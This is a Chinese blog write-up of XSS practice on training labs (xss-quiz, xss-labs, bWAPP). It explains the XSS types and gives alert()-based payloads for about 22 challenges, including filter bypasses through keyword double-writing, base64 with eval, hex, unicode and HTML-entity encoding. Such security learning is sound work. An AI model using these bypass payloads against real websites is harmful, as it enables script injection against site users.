xss练习总结

简介

XSS是 Cross Site Scripting的简写,即跨站脚本攻击,为了避免和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故缩写为 XSS。
恶意攻击者往 Web 页面里插入恶意 HTML 代码,当用户浏览该页时,嵌入 Web 里面 的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。

常识

反射型

如果一个应用程序使用动态页面向用户显示错误消息,就会造成一种常见的XSS漏洞。通常,该页面会使用一个包含消息文本的参数,并在响应中将这个文 本返回给用户。对于开发者而言,使用这种机制非常方便,因为它允许他们从应用程序中调用一个定制的错误页面,而不需要对错误页面中的消息分别进行硬编码。

存储型

而存储型XSS是广撒网的方式或者指定的方式,就是攻击者将存储型XSS放在一些有XSS漏洞的网站上,只要有用户访问这个链接就会中招,而攻击者也可以寻找被攻击对象,比如说上面的例子,所以我们可以看出,存储型XSS的危害性更大,范围更广,可以不需要寻找被攻击对象,只要存储型XSS在服务器上就能实施攻击。

DOM型

DOM型XSS漏洞通常出现在以下情况: JavaScript从攻击者可控的源(如URL)获取数据,并将其传递给支持动态代码执行的接收器(如eval()或innerHTML)。 这使得攻击者能够执行恶意的JavaScript,这通常允许他们劫持其他用户的帐户。

练习网站:

1、https://xss-quiz.int21h.jp/(在线)
2、自己搭建(xss-labs、bWAPP(虚拟机))
链接:https://pan.baidu.com/s/1cOtFWecT7DaBLCmVsfLMVw
提取码:XSSS

总结

1、没有过滤的xss(GET)
2、属性中的xss
3、选择列表的xss
4、隐藏参数的xss
5、限制输入的xss
6、尖括号(<>)过滤
7、空格分隔属性
8、javascript伪协议绕过过滤
9、关键字过滤
10、空格绕过script过滤
11、双反引号绕过<>和""过滤(IE)
12、十六进制绕过过滤
13、unicode绕过过滤
14、xss过滤器
15、html编码绕过
16、Json类型xss
17、XSS - Reflected(AJAX/JSON)
18、XSS - Reflected(AJAX/XML)
19、XSS - Reflected(Back Button)
20、XSS - Reflected (Eval)
21、XSS - Reflected(Login form)
22、XSS - Stored(User-Agent)

常用的xss探测语句

1、<script>alert("hello");</script>
2、<svg onload=alert(document.domain);>
3、<img src=x onerror=alert(1)>
常见的事件
4、onmouseover="alert(document.domain)"
5、onchange(HTML元素改变)
6、onclick(鼠标点击)
7、onmouseout(用户从一个HTML元素上移开鼠标)
8、onkeydown(用户按下键盘按键)
9、onload(浏览器已完成页面的加载)
10、<a href=javasccript:alert(1)></a>

案例

1、没有过滤的xss漏洞(GET)

在这里插入图片描述

2、属性中的xss

在这里插入图片描述在这里插入图片描述在这里插入图片描述

3、选择列表的xss

在这里插入图片描述在这里插入图片描述在这里插入图片描述

4、隐藏的参数

在这里插入图片描述在这里插入图片描述payload:"><script>alert(document.domain);</script>在这里插入图片描述

5、输入字符限制

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

6、<>被过滤

在这里插入图片描述payload:123456"οnmοuseοver="alert(document.domain)在这里插入图片描述

7、空格分隔属性

在这里插入图片描述payload: 111 οnmοuseοver=alert(document.domain)
在这里插入图片描述

8、javascript伪协议

在这里插入图片描述在这里插入图片描述

9、关键字被过滤

1、双写绕过:dodomainmain payload:111"><script>alert(document.dodomainmain);</script>在这里插入图片描述在这里插入图片描述

编码绕过(base64):alert(document.domain)----》YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==
payload:111"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

在这里插入图片描述

10、绕过script过滤

在这里插入图片描述在这里插入图片描述payload:javascri pt:alert(document.domain)(使用空格绕过)

在这里插入图片描述

11、双反引号绕过<>和""过滤(IE)

payload: `` onmousemove=alert(document.domain) 

在这里插入图片描述在这里插入图片描述

12、16进制转换绕过过滤

Payload: \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e在这里插入图片描述在这里插入图片描述

13、unicode绕过过滤

Payload: \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e在这里插入图片描述在这里插入图片描述在这里插入图片描述

15、html编码绕过

url编码
url的设计者,考虑到安全传输问题,防止url字符丢失,所以选用了相对较小的、通用的安全字母表。
另一方面,url的设计者希望url是完整的,有时候需要url中包含除去通用安全字母表之外的二进制数据和字符(比如中文)。
所以url引入了一种转义机制,将不安全的字符编码为安全字符再进行传输。
百分号编码:url编码包含一个百分号(%),后面跟着两个表示字符ASCII码的十六进制数。例如:空格转为“%20”。
html编码
一些保留字符出现在文本节点和标签值里是不安全的。比如“<>”会导致浏览器误认为标签。如果想要正确的显示这些字符,需要使用html编码。
实体编码:一般以“&”开头,“;”结尾,可以不加“;”。如:“<”转为“<”
进制编码:以“&#”开头,加上字符的数值,“;”结尾,可以不加“;”。字符的数值可以是任意十进制ascii码或Unicode字符编码。十六进制的数值需要在编码数字前加“x”。如:“<”转为十进制的“<”或十六进制的“<”。
javascript编码
数字形式:\u后面加4位16进制数字(或\x后加2位16进制数字),按字符的uncode数值编码,不足位数以零填充。
如:“<”转为“\u003c”或“\x3c”。其中“\u”开头的Unicode转义方式可以用在字符串之外的位置,其他的不可以。
jsfuck编码
网站:http://www.jsfuck.com/

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
javascript:alert(1)在这里插入图片描述

16、json的xss

在这里插入图片描述payload:"}]}’;alert(123)//在这里插入图片描述

17、XSS - Reflected(AJAX/JSON)

AJAX 是一种用于创建快速动态网页的技术。
通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。

payload:<img src=x onerror=alert(1)>	会出现重复(鬼畜)弹窗

在这里插入图片描述

18、XSS - Reflected(AJAX/XML)

payload:&lt;img src=x onerror=alert(1)&gt;

在这里插入图片描述

19、XSS - Reflected(Back Button)

payload:"><script>alert(1)</script>

在这里插入图片描述

20、XSS - Reflected (Eval)

payload:eval(String.fromCharCode(97,108,101,114,116,40,120,115,115,41))

在这里插入图片描述在这里插入图片描述在这里插入图片描述

21、XSS - Reflected(Login form)

payload:' or 1=1,"<img src=a.png onerror=alert(1)>"

在这里插入图片描述在这里插入图片描述

22、XSS - Stored(User-Agent)

抓包修改User-Agent值,为存储型XSS。
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值